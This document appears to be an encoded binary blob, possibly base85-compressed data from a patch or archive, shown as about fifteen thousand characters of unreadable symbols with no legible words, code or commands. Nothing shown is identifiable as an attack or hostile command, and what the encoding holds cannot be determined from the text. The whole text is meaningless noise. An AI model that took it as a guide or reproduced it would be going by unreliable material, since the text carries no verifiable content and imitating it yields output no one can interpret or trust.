zlZ&iOuSUj|x$^k8do%2v2N_^F@f>6=W_4(!}p`Lk?CPWuQyCJ z2I~o$G{PQqc)!p5>F_-DSJvOB`7!dL@MXh(Qif5)vs&Bxh2%rp#qCz_FcEC68C+lW zr90+ofR58(2_W{(*Qzn{KGrx&K9#i!iw``4xN3O%JC8k!E4Fui)a(afP;cag2m$0o#VezUuT6=CWKO1wrd-7I7n5BQtMrO6a|NZllSB>i%f zK++d9FhsQvJC5w*m8d{l>isN)R-ODDg}9e%7U(;4;@##et#K6+&+rSfC?s<7MEMaA|2_Q*FvIM6$jd1*^H~$oMP%XK~rCf&+jhKww%e-Y|!HZXvrnh|` z0;$55jaBZZ!42jak7PU&KYKR>d5nFA5pB07HZ+;6vuj^=_Gblo?O5;|F|wnrd)m5J z3d=p|+%M{*x&sGq={o2MZkaC*q?Se;a>5llxi@01N|ujCZ46<{N~h(Z;ZvYonS-FRH^%JJ=;?E2AMj4@kp$6xBIAq z#I`~wn|+htd>txvOYX2WaUSMNo>22Sx6HPt=olWV`l-n`-x_c;7z`iOepd>gNW;tX zjldDZ+?Xid8P1sRZ2qCyOE_4MsoGOvC#(2UQs8yE7eN6|ce;pca+Xa2eTo?^8_ z9d{(5lhe7J`6n3D&nA#JwNA*xQij8#ngwQDS3sbfv&d-ZDB`|!H-*$UWFwn7AP6LT zy=u9M>&LV#sCKWc^wW+Q&BQ4YzF%7h7KL!`W|KI1e2iVrOH0jI+Uc-j_d}iLJ}8%Z-m57)k?Buox6vp`%Hk{~$@E%ZaBC1Q%V>XX@@f)%nz|NOYzAp# zoLgFh8dkC%05?>w^|&9)N}TM{(cuZ~e~IZM-YUI6K@^55Dowy^O}{lQ@K9Cg^!%;` zQx&(|8FF2zqSNdX6=6MzE!GwCs2>0w_otuBmi^)tYPI=$j-;?s`-Y(vyKudcq4F3Z zXBV&)bsiPV1ir!4m?Bb5u9}gn0)34{1VrJltj+VjkY(OYJ&AXBT(S|x>bcktit=1$#b{Ia(XNxjbYx14}P$hA$ zw5~(;@;PeRXTjc@>u=i2B|_Lktjzw$Mt?M9><^e14Lmj(MdveClKiw?@%&M&^U@Br zRwiFtIy{=^R>TR>$I8`V+?jq3zwrQH$StU=f{~{ zkMD$z;LDs{)Zk)Gw|6)1FRgaWxPT(npQ{jCx?D6-W4Hd^APhlf-q6*WjLE_r*crM0 zCVVc-t{p5(o9sHOR?lY}14#C|TI$telJ_+Mnd**ey;LrU>xyL+p8wBeQk_TgR^ud# zILeK?v{k1`U}%6IjU~777+Xq%aUOF}zS@28Gi#Z(@>uws- zu}?Mln~f_9ImUg!T%Nz_nfLtJ|N!095<$~RfRQ3|CsM-B~F!TT{XFPpvHfBfJW6z^xHa)8TJ0;Jp!F{6-Cp>`W z&hZ{squ*6(y^r!+dKF?ao!U)xFcZ8;Ju4nA^lyK~JCpS=nw4>?^=j1GRhTQ$sV&>< zEh$2++dh|Wo%A=yUAlGk_5dqyXrHV9(&0QhRl!O>>Cdixlx7;Nyeb^{obyIcVmRW+ z)L}@>+ud=J3@b@o{n#W!1Zc6+9#@-E^_K6cfn1|mX`EqCx1}l@7vdLTuXn}*IWmkA+EU4Z;1n&?QNApPU-J(>6 zp#sJVhNV^$cRnkU0wJRqvBC~?h<`bY7PR(b565po%SEEP^B6MMy}+_j7zRytQ(hbdxGFu@Uj!OZEN)&!G}p4ar(L@NZW_H zi)Jk@j^@7BFQ07x>*gDH>eK>~{t~^#%&-(KU%M0g+!AntRVuwpkA;qD;= z?+&dX9?2VH2xIk&V-5YpAH30@V{f&s(VU<+y*d_#p+iXJ5?daR8CEkM(ZQ72Lm`0n z>Y6`~c+Bh$hG=Y^odC$I(UbEw>~DU*H*_o!hx}CFa#T0IgIfaXkEkiGYI0=9H1{E2 zR?<{X?mL6P8g7Y&e%;MA+iqwDF5aJNN!ozx3kA)omfaiyutls(m~tsIS<^6v-4-$o z8tlL*uAo8TI%x>5OXhIB1=K*mPhG?Hi#7bj*9v?CHmSBeQh~s~HnV|m>&m|+{R=gz z4LD*7)J@MWr<}+;drx5))4?$1@d@KJ1T>ZtFMwqvA8H``L(R=Fx|v9oGQ%w3B_K@) zBhOa+XrA+PCH_;%hPR1Xt~_RHtd60tR$O2NbirVLx-hn}t~oe~S?F5l^N=LzyVKbRhgulQ2xL?ZxH}BG0@`U7%pdPSy&Ch9 z8o233FCpnY!bw{MI(7p6B$dtEJX#)T6eecxP*x2VYNAL@X*G9c(f5b<#FhQ-tF2j~af3n3cx2+u8}< z#|`A-(d-)Y2_W?p>HFR}GYnN)EGPY$AycaZ$bQKno0gIjh!L+tHx>7G!I{4Wx~o6i z45yfXsL(xykuBBmx0Y!s0FUCtcfu$UHHOwTFvW^Aj&gSoSuHF#S`O0my1;R@!63fx zL;%EiFdEju(&4$xX0t5IAe%X?PzfQ6}{K$Ml* z!GOb9+d3F>|3W7K))~@=M#T6`>G!4D?b;7oBfB}GqU@t2)=;|k%byD!uc!&}9 zB5f_Gg9U42pnHS2F&50m-svR-KR&U~6$K+=&GamOI_QLI^PuN8B(56p3vkgZYSs*k+E&g5??>1gE0$_2?5`An`(41d z<158ZB6kwl_5;A3Lrv}vc zvE>TSKf>UqJ$dC@7Q}uMmI9GaT?k%a5DLx}y3MscHtuvS-$R}KF=x709^V#T zPV~erODIiicG8dh{KU&r74xFod!LI-Z~@r8jqKY9GSrJHmdnrdFMl^?qnQZN#^WST z>HeCiuTO%-VF4@C<$5Z^{to7j&thZ4h12J*k6IS4i-URv>&zt~CKO`a z!jojp2HDIwZp8Y5-nH&h{R^bz$u)^>-?#Oxkqi``(Ip1zJ$Fr}@0nCpMaFN;lpWwk zG#0Qg*RHCKl;%tpopYCMq~6*cX`9N^iCiGt>Ave6_tkE$rr&)^){!aQI9ZY|p%4YF ze&pio$;IiBp@lOe(d48&upei!4!y?A@5Og)1v^ z-%~%ZCdt4k7mFauF7+%@@-LRg4iqIs7X6-6HdQ(E^Iy`f+tIp}F(^;Dqf8X~o(&M8# zZqC7dhds)-W|sagKjda4t=?C4`g_%j?n5`D%6i-OWj)JHI9S>8ZNFEsoOx;Q=S!94 zQM(rWcX(gcf!0jv!Ara5W*yw~?5Mrbkq<^*Yg9;yN|#^vs;PBK$}Y(^sd%^UYr0oe z?T0(H{+IW;7}w6dY`OXL)35_a)_kv9u(B@vd7ZtHm+n7dQ`75HvTI{kHZEI{fAzq+ z^py?Ep4Y`?Hx_x;<@{K^)3|Al$MJ$iH=R%F*(?F-yWXuslF9>=wI*WfX=!HpWjvv~O3 z7neJ7E=o-<6Dga^JflzxRdIFm(aUWwqOWcFsl553Bk#o-$6r^zKkK~ovvXm4hnsiD z=POsjtH4D>QnbTxU2gYwv7rO;RX)^W)PAktXUjj)U6fjoz{(R3b+12U_z8F0>3!>2 z&Sk@xYw0mp%iC^yRb4AJ={e`s)f=sR__OPR_l+wBaHzoaatHS#1~%ljKgpfyeb(Ol z@>lPW_x(39x8D8g4R62yIrrLU_Xpo|TMr&uPn%rB$q-uLn|`)Guv(Gk^Rv(B>O-^b z4a}bpr~5n*0BiP*KXTlj`{LJqTeAoLybwp9{;Ug+gICEsuJ$kWc@iDGfvEzjTzZ%J zJYB#2soUY(aliW$4)CvnAQ?@@p{kwPP@8=h`zqoYu#ns<0{(F99^Y-T_%?5ja51u~U`ta(*C);1X{QdH) z>6M}FuijsM_0P)};q8M3tN#A?>fgVw{+00a?@c~x$~E=7mv8Dshp(-#?{$|~4RijCEcJb}Y{#3ZYj0Nlc@ul> zK?*=?Lg~dkSaq6Y2f$?k^b$4Mo#b{Os|U{pPkQJ9p!dvsa4!W zPjHda0(8uM=~}ba?ZIP+depys_V&vc$KUs#jJ{sxbLHDVgFE5R4Xo8Z8IO;wn`|9| zN>+Rtd+2ZYUQkH&Yq-7ZF`jldTXZaAijCnAVR(sQ^T}yc*U`Q%wx>$j0YfPl{8;mT z3H@pBev=@EM+q-hI&ZHUl-L}Rtu1zF?peEQ_MgWBM0>R|5_Y8PS;e_H8N`*D&~FUv z@?!_qK53a6W1y66pMdlG3_h%WLw>`M^Puj*x?9c6rO3AB)4M(@I9F{6t?5p(a zGMzlD>+(a_C2T9(PkVE8w?ozYdirKh&hcZPrf+E6Rrq7Yz6OU0`+CmR6WS-!P9#>G zE+0x~!U*tg~5v=CaZHyPvM3>s2c74IKHV zb*Sv8svYqWp`_Es4l~ag%{%!~$vdRC#h+={E`+Ienz*pCkPq_iZr3}Tk59pF(L+PxNDgnpYva-Hr~N>SkZX(Gpap_EqeS?;nz{O>fc}G zFzpue>vQQ(`wpYQ$}f`AcE4i&?SvEbnT-c^+P78e@o?awEcMTsgGTKly4z-N<)w2q zU;ptKn?6qkP@M06{|B_2(d***9MG97Fp?{YiKeijfnH~n31x0M-qSj?d;2WOucyv$Tvb8k^J3t5 z{KlUOaf|F!N&kq#{LHlr285N;~jk6}y-07pak$PPi99);ePM$vhK*=BT3XzZ+9N zv@}{4VBAnaH*!I>M$uaaGq<(fy1?IHBoln-6Si7qO0?cyen=WY+3Us?qS%iS@CLj% z)}?D&uV`2=XF$$qQ|S!~N!KhNc{?trK{-vg=EP%{>>R8~HUs%?uY}r$e;#a#$Q_zz zsUojt)YATVz5HnX{kGZ1huSuWmW?GLSLYo$OH3i>S(Qx*+cq&jfU)s`GqP1UpIRXc zbP0k(Mf9C@k}T!S=NDt%w;g{bF?q!;vweRvA(n3Hg0C>_DEX%PZ6Z;$KZM@2<3}AE8SO`&C+#C`@+U=DGiNIPxj;7HjW`(|42i zDc9^)nUAJu1<|)%Kpql!x?`iqi0>B8@5qA0IM-aX8GjP*5*VTXfXi$ zQHP-8o0H?;Uw-l7{_^IN3vYUUQv+>lSMV(O__FXCFys|RUN?7Br5{cX45|s(S~_Fw zqt*$*@nCR+`z^1_HB6#FU7s2>NF6{~L_fOer*&ZBo9~i{Hj?=$N9ra_xgi!RC{Hy~ zpGidoiAd)c10C>&x!CMuOIwmf~~t4@hxeCwT7UnkRQI?RoqR@YFbxG!^?yqHw%a^^Ko8 zRO0{5c+JFc{WT&dDOR0MTf*oV&5M9i6AL-k5T9W<H>!&{^ z|EpnT$l*gm_AtJ9`eWdNEayr6Uva*}{jjuIem`QR>*W*DibZ4KvI0xFp z)lwmu23e?679bPtgQMCU(m|nCOuSZsaGhf+=&V|NO-Rkg8JqbK zQF6LbSna%Gah4F5*+Z5 zFd9`_Jt`zywJREM>1?G$4-~8!*gVw-EK#w>0FsdcoP!sRVC*p!^LZb0g=T9ipWP}# znsCNN0KPO11gL54a%l?(L8kfwr-;~1UzAF~>1;(V@|mdvkn{R=v8u&CyQsgzIczm) zOvQ55toxz|=E=1v2kG%BWCVb|YFf$w;~a_*Ic05pK{ub-uBQ2_%JmzGZ9vIIlw!!S zvcQ2r)#4jHFf1x1;LAS~BoiH^M}aiSr6)xzWtsF|&3wm4KvEy$&428*L4_M+g~x?U zeypWCeAlYxP0Jya#_1);Rq*WfbPJLB*A`M|+wN*5iCPEW8`#^cq6eYA>m@)jpWVw( zKJ)e@1dqF&644XUs;)lds6M!&kI{%R+5w~#JK&5;5rEpNsCc|p zFdx%8qK1RsSC2df5*5rr6>CDodZuD_i)2=PRB{5NNda4_>|r^50;dZsIXmLn@{Qg; ze8wQ3peB)dyTMqTk)c48{N0PuRUDMug3}k*36E}5~!ilgJCmvUAZ0FZ@%zLn$St)$UD z=6xaI8+sx*W1$jWEV( z5wvxIK{ub``;=ZnMK(rKsn#4OpXwg(ZHt9c?5QfZxm^lsifVDYh7#{@+{Dwe(FVN~ zB?1lLgK4$Pj>#z`dsRPjxySI7>vV(EOK1s4D~PQbTHjhe}Qk`}=^oub~v z7JvdJ>%D@q>OhiO#d^tCPU5WX@}+E))XQhLWp2Qpfkx{8JC*;6ccr+HYr~u0RW%PQ zo4ezn1|j>nX!+l=!eM^dn*rt`d6~;X)+mp?;wI(Q>s2pR%wf&>N$u&xJ;_w&7N`bj z5N&v=Xzf*#l#hYUYNm!*5xiiQ@FUQ*&_RsdEKd^$K*#xKGk3AB_mPQCcrd^E%rK8l zOf*9vv{b|Q4Fs1_e*Z9oWm1j=7X??|6gG!c0PB*}IQd59_lh(ry ztWosr(sPs*KQFi3CEjW9AkKbK*;<`Kwg~{|s2E=qR2sIe+^a?>*VVIBypo`(Mq~hJ}bF4#Yg&PUxmx9P(cqD6<(y2Lbk& z;ye>Y?tNgAZ(`%3BW5a~QN#LxwSC1IP8xtcg~9cdqc8dFVGVrHw_HL^8zHIdLN_WKHX-H3a?7_zyh3I{(?cQ(tAbZ-P-U+9&4Fs zb1csKz^5?zr2buWN*}mF#nRxg{_TbHy(zE#m-nJ129NSL%5D@vhB)<;k~LR(YLLec zQkPxBWXu|%1R&&PxD{t8Iml>2^l=`0HIaK9OC;5R;Q;&ZKGM;BXanIjE10hU))zUG zxOHHnw;xzXFg(1f^=s8FYfTapqdx`=Uh*j)(#$ieTXU+n@%!it>&|@O6VDNM zLyjqVlD>^@tuv+4H{pSEG1j<{G-FKLNDdShH#s{S`Y>QE5wY%|f5Wt-G7cT15mfaI z4H_gO)KKcpTF_EXy|qw8tz%7a$PX@hep0bwP+%C<`KV@@EM$epoNTSycquV-M9n@Y zj|dDz#?i7~MeCquKAS@sRf^RteE02xwzz5p| zOR(lfIb{il-fc>Xuk9M=vj^317#}WBk|fWr7xRc!0Bf8_G3IY46k-KR3B&1MR9bwF z8&#=fzTg<5qj-D0J3VzV-0Jg0tmyJn|PEkjNW~3ZLluoy^`gI?Fsvf6ok>|$- zk}pgK{wrh?%@(9l{^JO%Tsf{smT$Ojdy5e=!tA9U0(zX-_$aWFlUUCpDc)^O`F zh^eN0A15!INl`0V8!*R>ho5eG`P2)52#@?74++DNk1AcBCOR<{Xu%1v7ulIj&sVd0 zfov~1^ADhvfRi`yX?YsQ-2~Bz(W75!E#C~8I5kUn?1z07D2a3uV<-L~=ZZ$6Mc!2y z@xi7gy<|@CVM8@gjIu8&mxR==?KlP6DoD#Q##hwa>LY7h&dOK5N!<=c@Wd6w4wpaD zfTeGG7zOTl@>m71c*q|c zw8p0tw7DXS_;a50ZiKU%>hs6Sf|zuurW^ZBFN$1_2N6RrWXEmvD~G^5l>LQ6kHRPe z7#jybmXb22W?nh@c}UJ$EdT5W+)R~&K@C(7yIGx$Mvn=hm`{+;k-d1mTU(e}Cp=(5}{=GRL{UWJ5X$a@~!8587}vX#PhJ6)C~qwIHzjd>KSDb9N7RMiV=1?Y>LP6w#xFnAjw z!1tBXD`b& zSj;A^;P4cr`6vxK@c4bu`s0eh_7pl(4FsKL#qy08DVU#>6i(kaqO+hv&7D-!IB5L& zrB5a>_E#0+Vs4d~OJCWV-VAUwKlqb>;bm9T!*o!Q678gie=G5bk<*Ww>(Jwe{3CEc z3_gB(DM9n^Q7B?!(JcP6M{gGHF|l?Jvf2{GrrEI9MIWFPT@uZEbjp7lmX`;?3{Ir* z-jOOToAxJPEkQr=mOrkih4MQ`8X@y38h7i0#&rVskAqp3)W@6eG93FRW`I+lH$S67AHLhppf3OaQLTuHPg6EQ~r^u?0M zwA_#NUjR@d-N_zNMN6#(V8D24MUQ5S_z?tQX*tMzzXaNRjYW>K<_#%s@=^S3UTDk# z1a5fp+F6B4$U3Ns=s8>6OrG*=Pd_g1=nv2m&avyT>?(wVwHS6Oi&r0@y2v}t(?dk3 zEx4#0Ezf%NeaLn3Sk&~|;I!z(dBV|WH=GGrF-gn}xr^<|Znm$fnW-M?mLaBX8;%I{ zP=#OI>^6lWPiJM51#RV2eD{$6Q(R%06Okn#?Qs#N1|Lom-zqh33#JyOwhM5`Nu&KP z;4cH^&{3*&O=Gpb@$SyU$qkvRx(6i(-)WQkbFh;1M^PBAlq-?_NKoI6BkN9u0Q$LH zqoJC#r$)76Qdr1(@hc}0P`G-;Xk?~qLT016hw1P`aCxz}BN*`Z_FF1k$9ZSwb?t7a zXGiaZU+_E~OpQtRcOZ4roF z2SHm9^8T{+0?g}_ntV4<*P18Bw=I!S>M&`w?bD}RO8lIrnyaf9x1b9qaFp`7%t0DUs9RuObV_&l8lX(UOo6* zKq<=}S$bnegy+;dXLjjQ-VK&F>i5cuU0G=E!Q%sm(&|QMq@@G1)F~8o?1r^gYdZDcDG`U^5x}!Q&xA}=gSr6PIhAWkP98T`gvyEK zXq-`NPrd$t<<)ecRI4o00dDa@54mWC&V3w*q_8+Qhw)cphb`qqD4XW1$88zVu= z)2#%xAGeg#)9Kd#nM_IQF#90FO9SQ9+!4PW6K(TpaO`YaT>xu}LhT-iY0+AJN@A+N zXo(==X4$j=RjLu`Mq-Fs=UETQXr3G;ebkh#`^baXn7}l&gBTz4pOvhNG_Ft{qVoQ+ ztDXsKW!2C#@AMp}GMnm%)T6x)%YY{^cI&DO|#K=@-IV8F{D-+z6tbT0}U!r21cVyeI zQ^#64?B4Fw2W-pNg=lsK`Kka$_MwN?+X#3)GMMx zD|-AGcR-?|x-ad}IRxuXC|<)X^{#BbWcuSwWSX9aPwP_{@;m$g*}%C>nVD4AtC5;m zi>fS}{LMB50s3F4^L)3(nJtOL&BkhqbebgQ$#w##w-(pa2CNL>s|Dvr9O1arc_v{v zO1g)$w(x3JYRfuiy{(bKB4^S}D&kX8Q7rJT0Z%&9AkP!U|6C=5)6WkrbiyR(j`;2T za2v1)2q*1ukeDw{R~dYJaz<2FOIv&wCkl7i*}__QTUzkqO+TDEiFlA}Tj0k)!TlG9 ziO%Gp0>iVS;tY8nl>@BunG&|th76FnC*s)5&lP1ZrYPu<`Ou2XlPvD*(xbJBU5T@d z2|i%(O?bn8*Cqz9egT+^OI;(7pto>s4=9w6!CbF0EWrYN$#8#W(xc(~x z%B7nP`&;k5@f-xDaJw4cI~q%C_md@do^r|SM27WNR3UrOttU8@Lx`0sF{!Ah+#xj*dGn ztmjeEg>jSw$G~BY^VPAd6sJ=`$w?!MJHpF4`@JxgZXW_u1Ju+{KOwUBDCpBuYp$LY zylJzaLNO$IpevaMdJF>_)&AVsqeI}4rRC{z|L5-jsjHqq4iAdW9|z$93%_>AM4i@# zvLO3V91lEcRsQH(pzBAJV|?O9_V2DC@4X%V(~jiPgQ$qxYT=C}u9{qcBAa_sSbOF} zkS&gQg#gt^=1tuh?zr@c#pVQQp7C}Ox@Fy2;QP8~TaDwv&I{-h$vUy=a9=0slVy~{ zOdjKlPzoL*K^|%=BXf)~D@1fr7^K!a^*KLezVS* zjs3!*=ClRQxrCWT0LuTiW&WP|^zO)Ho=0aI?m1e)+KLUD3}`w@mKsv{l)TIA6S`nV zWnb5e-~OBlw6J$)?-7Lh#pG8QJ0?<1OIOu?)QC3HGfx%2_GWlwD{jr|e+u~abaB1- zsu>?U%2Kcx(?KppknJzs+_>>rbrY6aFu|Im2t<%ZNWWjZ%r@dA?|B&vWxf-boXRt2 zMV9~DP5eAMs`Yx&Ki@K;cNRvX0(1Nf88pXg^kJ1`LilqGC}xZvH}Ky=f!4e^uDdV>zy62gV2rND9eTbs^au zU=Og|P{6vS(F~KO_lVs*fsG2pU*+m0LXu@-GDgnHl!`_L$&nN!QmkWK@L7YC<;XS; zwA9kc>NRW~x99(DEpgpb>$Ab-3M7D2udOK#2y&kF0hs;u?A} zc_rZRb0^o=hn8mVVvK_6lc$IoL`0sKErS=OX_2{LKro1Y05Ej8tM9ge19xp6T{)wa*#l;1r0atY-L!B$HZ!C)S1Zm-+d2}-!SYupD6)Y9lT3+i+j+~(dEbZI zH^}zf1Y6Gt*{SEGLU)T~1>!pi+Be
      qt#ZKk-lr{n|9eHP{`%ZneoS#zYxlWta) z0G}hxaxa+j5*}GgsC=2!ZJAQ$Xer!hIXkg1Tb^&)=Au{&ExHH57_jumG>S|Xp)7yb zBT2 z?v$-6WEonEa0qQoIuko{K&b@>oqZ7t-qf*W&!ltj->`jf zrOAimW5#K6UbOH|KUfbLX9IZ_ak|g97U&6gQ+t|b;y8y76t(0L8r}+S^VFjr*X)5i zDW7>5xaZhP2;P?-^S4;Xe}N>gcge9-UcL)0ep z+N0CgLy!Rtir|HvI@8_5XLjF#KB&qLgd;O#9oYl<1e9*tj;G0`yc7MrDjSP?aJxrm zS&Z)Uv#0%JkM16y=OH7nboZGyTIyabZ?J6M9|W|L9ks>HE1&f-GOho+VmH4MiS7}@ zN=e!%ydwd3#;@uKQJV7K@bClnpb+gN z4~Wm+lf1tJd2d?KD#U~2NIVYG`*7`eO6XehPAU=+Nr@C9IU+bBz6e%Q7u(H+{aXCm zX26)^W~G?yPR{0QJMDu;oxAC&WlR9fLXl})Cu*OhwW#_LMpzG_9;n2n?fxz?xV#Ao zP+I8#3sTmV&+;-IwK#-K2If#<1LXy2)V*XBNsmP0(+{KwfZmo{YpyiGiU$ndifoM} z>N$Qctl&$)ZKUnNa_^$g9Vd`@z`BQ^FopaY@g{}Tk@tN6BuK!G5p~GZAJPzA#6}LK z^}rSDq@lZv`kZeM%`D}h`BVG6#gwqnw`rlUyCgYCdORDqAB8hUq3Bv%2dCsxk@bmH zwfACrr-#Iy1lPyRNFR_;h4|9=c}Nf-_kXF)wLd*_XA8+<32;}&y-N{Na)5%zluINL zpu5K?oUepr0DW{Cli%qmtT%~V$!xp3T}zrQ5?fZmkUVcQ3D7iwTNOyb3^18kI^+09 zHGDc!OmV+HxC$qW@WjODzM~`??yEocwkh%l*Ajt;){716W?GLHJ`TehE)~o&t{nK7 z_w3YSPd+YGAS(u%`s>SI6ybsKCD6e2yCAr-qn%3SgjY-7xO7(j5|buZMR0KKwY|@ z4u12#&jXy9^GBCteXR|GKPhQiu!`KHLIg}bw-6)l09q;CWCu|q z1;6I@=2z|u+#X?ChkO?}x-|`HZWqBl5%%#w=zPiC+qgj{@gq+rb5?iO0K~P6hJ&B7 zlbDC?POg-SEP5WzFHje(VHX1&S@VQoceIcHsyEBlOo&ra=`0k72-KB|5IaUXNBnm> z>?KE1RN&-X;>Z!=PeOKF(7I)pd8B>-U>{-U0xQU-o9dO0S0gZ7pSL$G5y!BPvo`_^EWc^s$xnNfu~(Qas0p_S~_Pq%htr6H~awL@0(t>_@m3 z#r1_SzmpLHAAE$Lu9dXfL$GYc6nXMxMANYDHtDVkr~T;%uvp zQnEOOIzfLU@i(=PN%*4>KNHe*rX95adLNQWJs*oY#qNqctN8gdO({DgDHN<>lTzvu z`7+~@#0MoAs?F`GQd?)7gym%b$VQ7s_qQ;KbL!GiVO9@BY|jt5n~Q=LrcrNK^hZBw zB4UmkC+t?!h0Nsx!1m?$%?B>ClX0UqxYHLWQS&k|=^QzJXDOK(LOQ$YpWc^S{`{F1 zcNer40~<9+T+i|y=Z@Nsif#KyfeMLv>ci7Xw-}M)u*o|v4mBc_3-BX8R0e=dRUIP+mz0$)+uDRTGk(nSb^y z*>oYvx@YcARX$<1TLvMS?iBV;$QR4E0oq|aFC9ZJ;qMBM z6h22{IgrQai5>Ur?R0t#w~2>pC=MF2r6Mnon#VXotP4r1JT09XX^0(UUkT>|1=^!b zdZak1$tb=}oFNsx-dd!i*tZ2GS&B%l3rPp~et%`+PaKIh-AA?@B=j0?CWHTa25tQx zM|U0&!~g#Qd}e3w_Ub-&n+{zn+o3yVyCrM~LLYV=l_Xn2e8TK@C)$WlACiqI35yUP zd}d1t$x?_`-{1XHyW7m{>-~H^o}VE%p`%Ahw4Fp@8AvgZl`Fm! zwrH^0D}~6QwEyT2eTVY>|rA zYN^jl-)+AIEL7Gz_Q|I$huJ)xJVp%JAd2aHnwMK~h^lC{PQGm$gNo!EF8X2#%1wts z8>iZYPPrfl6ka&DSbUV)_hjYX%c;d>?k&*TmS>JKfYBF6y9OkvX)DD`3sV6an&Wd9 zl@zn+DuZnRIcH&Bb`>olRbi_oUp6BaD}n6AG+&`&4r()pzA-l&06rDi7LyWHMfTZ% zVJC?h{CtOs?5sUTcdGT_Z$6BMhYy3ZhpD@(sFpdXsrqGd%Y?NgFDf;UE{s4i$MQw` zv-)*5wzUJd_gQ50ZSnGg?l352Lz$Px*7Ce_M~D1!DjEgH>C;hl7k{JQ{_~Lgsw-V; zsLW`3<%DwH`-^rYz4-CRckixFj;S&?PYRJ~F-_hHkDd7yk6FiDT$Zo)+o*bLbv=fi zl!1(K1lF_5Mt9l`j9cd|{&dR2LsW!vY4I0SjNskg7E3Lux1|kQQsJnLAS! z&-H&$eSkCPNRv`TDsDJ{D@J14+LzY6j9nC5FH|3;8s*!Sn+I4tjf0jo=?Q5PLR7cB4m-L-c-+w81p2rhvhw1 zUmikRd-Gy8vUN7)K6Aar`5s?YCl*w_>$0PfJ&s~`gGRi2Vpwi&veLj$sh8lu8{|ib z-isSv3%mxgwgncPRGvmKE@{K41q)2&em`ZQdGY*Iv0~YJ~%Aq{%r817by^88LmgL6{czOE~KuPcF*$dsjRVjD; zR(Ig6-#6LUyy`-}EIN3yG7Ff$@^SrxowK&%a*uK4n^!@NO)@aX5`Xs?ywUllklnA& zBO4AiY{sZ?jtA$+$K((aWxw`B_udb?+Q=8!LviKKdby+fp}7duc>Yy(ILJ^<=0!91 zA0n{TnWXu6TTg6rlZ)*|-bbo=wjO#8v^ zpmz`1sYLbH!VBifHKI`fPHvpw+BqM#J)EkJ9C9h1cp0NgF^~9*_ELJ zVo#N|T+W?Wl}|payJJUM%BLDBHjL>aTW)Bki=k=_|EGlZy(63x(A2)mclGngQY5^%KUX zA1?gGC5HIU$lcuwF?cUfusd_#z5ZcxCQ9=PH~?A_W59Q*)LCY!ikRkmmOmwnz2d$o z<}DtH+gcUrvx^5(J4O7(HwFW6ka${=msBRAG<(V2gsO_bktD~!zutG#zbGt)T5K+Y zqT=i|#&cUR5Cit4qj{F6i`&-x1m(gQ$e7t6VN7D|;N~Gxu9j-uOHx2B119}I(d@Vi z|9VsfhR7(sozgPJ^vZXnieakX4GlYkSkLc7TfsP~p6w8B(j<`^5qAsPI63T$vMp=? zzj*7W!t#+e-$kdPao56R8VtD+TY4MoLfB3Pm`UZAvf#S7K>gvo;9?Q}0h>2iPPMt9el; zk4qHf#gaD5q2boKws=8uRjU(MNAeWQgQ+lR{2ZscJO-G_snVRy6{vI5qd5C~6=eE% z-mDh=eaWg2y&1CKZL=PgWyIJS$B8kztu_zS)q)3i-lZ(jEH{a{uQJHV_qhIOZxSY& zcH{JcE~jk7zCo)kBr0V2236_$oKVXK9Z0uF#S3r1`D@TZ=P^qX8I~G9mpQwB0`lm% z#B@TO53Mviu%Pda(bY++Z^jpB!ePX^Xl+qIzpie9Z9?s@Q$@6Uf9*}Z{hl<-m9^)O zI$)7mDAV?C0XrAovqFdxEfkuWo*UTlQ>sh*8zNm+4!lfiIR~+$y8Rk>Pk+mACf657 z_}-|{i|7ZoW#Lro2tYv}7Fp&aN2Eq7Muu6N-n;$1hPhJCrflfcARgg7IYC-G-nwqq zW?;ttN9?q^Rw{dPZ24an@~a(BK#4ZODjF+ZA0)chQ~VsHK3X9QD`(mh)k%hB70eBD z5auSL14gkLeBizD^$y*Q{u*QzpIqoI)lSLfA zwsFf>l6JZ~uP=&F6w<1wj=SE0p)qY14a!iLEJ9Ei)>zgjO7ah5dsl1Ew|50xc5AVr zP=!L$NnM1EnJm?JXz-*4$tNFrBG>Z+j1yLN^un8uw)XYteSaI_-j8Icn>~&DbfjIL zLPl;2>16LW)IkmITbnv)(nxGgglGX1x>fg8@okomSTRTDZ~9u>F*8{;Nb_qxIqONf zSC+* z`I$}#Zy%`d0T#>N82d*3MKuES5~pz5wWxMRlcX%(32?Suc6qisixi(9`p(t(j$5j5 zxwiCB^QpZEH3%tMx7N;hs~^R4YEEH>R?#o$)OhcgDz@3q{eEwEJZC|E+!+ZwnSkR z3+(kg>>qykP7OXcADCMAnnX-=)8JJXRG<}lKfB~u)2bhug%f;aVjgC{z92vXB`k~l z8vFV`qYnC#feC&)6?<)Z@tD!A+q|@6Kd>^EJ7O?mvkO=8SF0excTN`t$U^U~P27d_ zIrp!cI4Yi>ic+lrhc3vY3449=^*`o#b`oN_?{5=-ANy+j zCTZ=e|F$ojkW0I&@YlcNl*%5~D{EfIF};89LKj~@WZC!+?BgG{S+#y(s-5*ql7!?6 zbWP=vCKZ8w8p`DAf7rECGqBj4Zm4?|7;_@OOA`FPmWCHi21|_`0M}QqNo5OYWO z^RI82_mz*BSx|p5Lm_n-ku?&YvkB_9_J8tvzVQCH_BVEo2F4j{+dYbnvhn*>bwL+Z z)~z-|=84IQW3vZsIQw3E&4KYGYrT6XW+ub*op!s@5y%QNT3&Si`x`I!E}p^3uM29O zu9Fuh&mhN48-&b}CcZ5)A=-4dTF12xhWpsWxg&qhi?$K0Ua*ixPqjAr8N;OFL94Bw zpy7@VfJkr<3OF%w($3&%kALZjuOb`g)`6*Oyz9NT|GBMNxBTt8)kRY6n&YXb1pa-2 z7ZU&Tn-P6nsnCnegkBv#zj zX}h$~tvdM<<$rY!PCJ}zmpi2`Puc3gtWcbePdpv+>S5LX_W`x1Do>^SSK?HB z?!ADY!e`2fKf~b{+P>wHNA{(pxeTR+I38=PyDojJG8j>n+RB-!#f8bosV>J&T$Zj} zOH(3MI)w*ZY}5Cy(qX--@xbJ4;1Fl{cv@PryUT{wRc3G37n~Z|7s5X-NXsd;o%*G$ z@%nUQLqy|=EQfP~q|=9z9b5m-_G8VN>|X9UpB$rcR)z-mhj1iS$Iexq{gl@1qc;O@ zbCE2qD?J8D1~*@9JQwZM9Ff*=J$2pIGmTk|$DSS_4La31oW8nm=IQGnuHH(!)_sPW z4_Z`~i^d_G0=2cQ>u)*|TwHdk>w_ zCVy;Cp2pzn&>2o-8|~I2O$}M-JAJ=<34=OO}k|D&ST<&pD{S+)4i=5TaJ%@ zCe3RHt0U~*8M&6 